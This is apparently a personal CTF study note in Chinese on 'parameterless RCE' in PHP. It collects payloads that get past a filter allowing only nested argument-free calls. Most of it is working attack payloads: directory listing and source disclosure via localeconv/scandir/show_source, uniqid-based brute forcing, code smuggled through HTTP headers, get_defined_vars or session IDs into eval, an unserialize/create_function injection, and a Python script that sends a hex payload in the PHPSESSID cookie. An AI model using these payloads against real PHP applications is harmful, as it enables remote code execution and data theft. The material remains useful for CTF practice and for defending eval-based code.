无参数RCE
比如说遇到这类过滤:正则如下
aaaa(aaa(bb()))
[a-z,_]+\((?R)?\)
[链接](PHP Parametric Function RCE · sky's blog (skysec.top))
直接rce
localeconv制造一个点
多给几条payload:
pos(localeconv()) #这是一个点
scandir(pos(localeconv())) #扫描当前目录
show_source(next(array_reverse(scandir(pos(localeconv())))));
#利用数组指针,展示flag.php的源码
也可以使用getheaders
类似的,也有使用unique取随机编码然后爆破的
echo(implode(scandir(chr(strrev(uniqid())))));
uniqid取随机编码->strrev反转字符串->chr取ascii码表中的对应字符(只要爆破出点就成昆)->扫描目录输出为数组->转为数组->输出
chr可以支持0~255以外的
结果
如果不卡的话,推荐repeater爆破,50次以内应该能出
我试了一下
cmd=$a=strrev(uniqid());echo(implode(scandir(chr($a))));echo('mikumikunimku');echo($a);
.
似乎是这个:chr(71464376f8726)
uniqid被过滤还可以
- rand()
- 编码绕过 bin hex
请求报头传递参数(待复现)
- getallheaders(利用http报头传参)
仕杰giegie有:
先使用burp把rce用到的函数放在报文最后
var_dump(end(getallheaders())) #用这个来测试
之后使用无参函数提取到payload放入rce中
或者
- apache_request_headers()
var_dump(apache_request_headers())%3b
实际上也不一定要刚好取到
如果取不到的话,还可以使用的方法有:
- 针对数组进行操作
array_reverse() :反转数组
next():取下一位
end():取最后一位
current(): 当前指针指向是的数组元素
- 转化为字符串进行操作
简单来说:如果array_reverse()被过滤,可以先转字符串implode(),再strrev,或者使用str的各种函数
转化为字符串一般是implode(),可能需要strrev
get_defined_vars()请求报文传递参数(待复现)
往往是get,post,file可以这样做,思路是无中生有一个全局变量,然后把它当作要执行的参数。
payload
eval(end(next(get_defined_vars())));&b=phpinfo();
...与unserialz
比如
我们添加头a:3:{i:0;s:15:"create_function";i:1;s:0:"";i:2;s:19:"}eval($_POST[1]);/*";}
与此同时
var_dump(unserialize(next(getallheaders())));
点点点运算符其实是
意思就是数组元素变成一个一个的参数输入
我们都知道call_user_func('create_function','','}eval($_POST[1]);/*')
可以rce
cmd=call_user_func('create_function','','}eval(phpinfo());/*')%3b
将var_dump替换成call_user_func即可调用
cmd=call_user_func(...unserialize(next(getallheaders()))); );
phpsession_id传递参数(待复现)
与前面几种方法类似,在phpsession_id里面传递参数(payload),
phpsession_id只允许数字和字母
脚本如下:
import requests
url = 'http://localhost/?code=eval(hex2bin(session_id(session_start())));'
payload = "echo 'sky cool';".encode('hex')
cookies = {
'PHPSESSID':payload
}
r = requests.get(url=url,cookies=cookies)
print r.content